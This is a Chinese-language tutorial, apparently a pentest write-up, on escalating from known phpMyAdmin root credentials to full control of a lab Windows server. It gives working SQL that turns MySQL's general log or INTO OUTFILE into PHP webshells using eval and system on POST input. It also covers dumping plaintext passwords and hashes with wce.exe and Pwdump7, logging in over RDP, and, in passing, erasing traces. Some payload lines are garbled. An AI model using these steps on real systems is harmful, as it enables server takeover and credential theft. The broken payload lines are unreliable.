下面由phpMyAdmin教程欄目給大家介紹關于phpMyadmin提權那些事,希望對需要的朋友有所幫助!
引言:在滲透測試過程中獲知到phpMyadmin的賬號密碼,如何進行提權呢?往下看,我今天和你說說phpMyadmin提權那些事。
0×00 定義
? ?? ???phpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。
0×01 環境準備
目標:?Windows?Server?2003?Enterprise?x64?Edition????192.168.17.137攻擊機:?window7?192.168.17.132Php:5.45Mysql:?5.5.53Apache:?2.4
0×02??開始滲透
我們經過弱口令,爆破,目錄泄露等途徑已經獲知PhpMyadmin的賬號密碼是root??root。接下來我們就通過phpMyadmin來提權,盡可能貼近真實,多講思路。
a 收集有用信息
如上圖所示,我們可以獲取到以下有用信息。
- 1.操作系統是windows server 2003 x86
- 2.服務器是Apache 2.4.32
- 3.網站默認路徑是 E:phpStudyPHPTutorialWWW
- 4.PHP版本是 5.45
- 5.mysql版本是 5.5.53
b??檢測插入條件
在上面我們已經獲知了網站默認的路徑是E:phpstudyPHPTutorialWWW,這個時候我們肯定想插入一句話后門文件或者是導出shell。那如果我們需要使用以上兩種思路中的一種必須滿足一個前提條件“secure_file_priv”對應的值不能為空且必須為默認網站的路徑,所以我們必須提前檢測一下“secure_file_priv”的值。
phpMyadmin執行以下命令:
SHOW VARIABLES LIKE “secure_file_priv”;
結果如圖所示:
從上圖得知值為空,如果我們這時導入一句話,肯定會失敗的,不信啊,那我們試試。
報錯The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,這是因為mysql對通過文件導入導出作了限制,默認不允許。默認value值為null,則為禁止,如果有文件夾目錄,則只允許改目錄下文件(測試子目錄也不行)。我們思考一下看看能否設置其的路徑為我們的默認網站路徑,這樣我們就可以導入一句話后門了。那我們試試吧。
從圖得知這個變量是一個只讀變量無法動態更改,那應該是只能從配置文件中更改了。到這里發現陷入了一個胡同,那常規方式不行,我們可以去使用一些騷思路,利用log日志文件插入一句話。
c 轉換思路
我們首先需要檢測的是MySQL全局變量(general_log、general_log file)的值。
- general log 指的是日志保存狀態,一共有兩個值(ON/OFF)ON代表開啟 OFF代表關閉。
- general log file 指的是日志的保存路徑。
從圖得知general_log默認是關閉的,log日志存放的位置是E:phpStudyPHPTutorialMySQLdata。
首先我們來理解一下開啟general_log?的作用,開啟它可以記錄用戶輸入的每條命令,會把其保存在E:phpstudyPHPTutorialMySQLdata下的一個log文件中,其實就是我們常說的日志文件。好,我們的利用的思路是開啟general_log之后把general_log_file的值修改為我們網站默認路徑下一個自定義的php文件中,然后我們通過log日志進行寫入一句話后門到上面去,然后再進一步利用。
具體命令是:
set?global?general_log?=?"ON";SET?global?general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';
緊接著我們可以看到在網站根路徑下找到我們生成的偽日記文件infos.php。
然后我們就得插入我們的一句話后門了。
select ‘’;
我們可以嘗試使用菜刀連接,成功連接。
d 獲取管理員密碼
0×00 直接獲取明文
我們上傳wce.exe獲取明文密碼。運氣賊好,直接獲取到明文(11位字母和數字混合的密碼)。如果不能直接獲取明文那就得走第二條獲取hash值然后解密了。
0×01 獲取hash值
上傳Pwdump7.exe獲取hash值保存到password.txt文件中。獲取hash值可以選擇在線http://www.objectif-securite.ch/en/ophcrack.php跑,跑不出來就用Ophcrack導入彩虹表跑吧。
e 查看3389是否開啟
直接在菜刀終端輸入“netstat -an | find “3389″ 或者“netstat -an ”。
發現3389沒開,但是3390就開了,我們嘗試連接一下。
f??登陸服務器
運行mstsc開啟遠程桌面。
輸入上面獲取到的賬號和密碼,成功登陸。
最后肯定是要清楚痕跡的,但我這里就不寫了,寫的內容也是賊多了
0×03 擴展
上面演示了secure_file_priv值為空的情況,那么如果secure_file_priv不為空那我們該怎么辦?
a 配置my.ini文件(不對應網站根路徑)
打開mysq的配置文件my.ini,對secure_file_priv的值進行設置,然后重啟mysql。
secure_file_priv =??”E:/phpStudy/PHPTutorial/MYSQL/”
嘗試改變值,發現只是可讀,不能寫,那種情況無法寫入我們的一句話,因為其限制了導出路徑,無法把一句話寫入之后導出到我們的網站根目錄。
b 配置my.ini文件(對應網站根路徑)
打開mysq的配置文件my.ini,對secure_file_priv的值進行設置,然后重啟mysql。
secure_file_priv =??”E:/phpStudy/PHPTutorial/WWW/”
然后我們嘗試插入一句話后門,成功插入。
二話不說菜刀連接。
當然一句話還可以這樣插入。
CREATE?TABLE?`mysql`.`informationes`?(`inform`?TEXT?NOT?NULL);INSERT?INTO?`mysql`.`informationes`?(`inform`)?VALUES?('<?php @eval($_POST[pass]);?>');SELECT?`inform`?from?`mysql`.`informationes`?into?outfile?'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP?table?if?exists?`mysql`.`informationes`;(注意:?c:/phpStudy/PHPTutorial/WWW/為網站的絕對路徑)
c 導出具有命令權限的Shell的php文件
select ‘
’;system($_POST['yumu']);echo ’
’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;
0×04 總結
本文中的環境是除了沒上waf其他都是盡可能地貼近真實環境,模擬真實的環境給大家去分析和講解思路,希望大家有所收獲。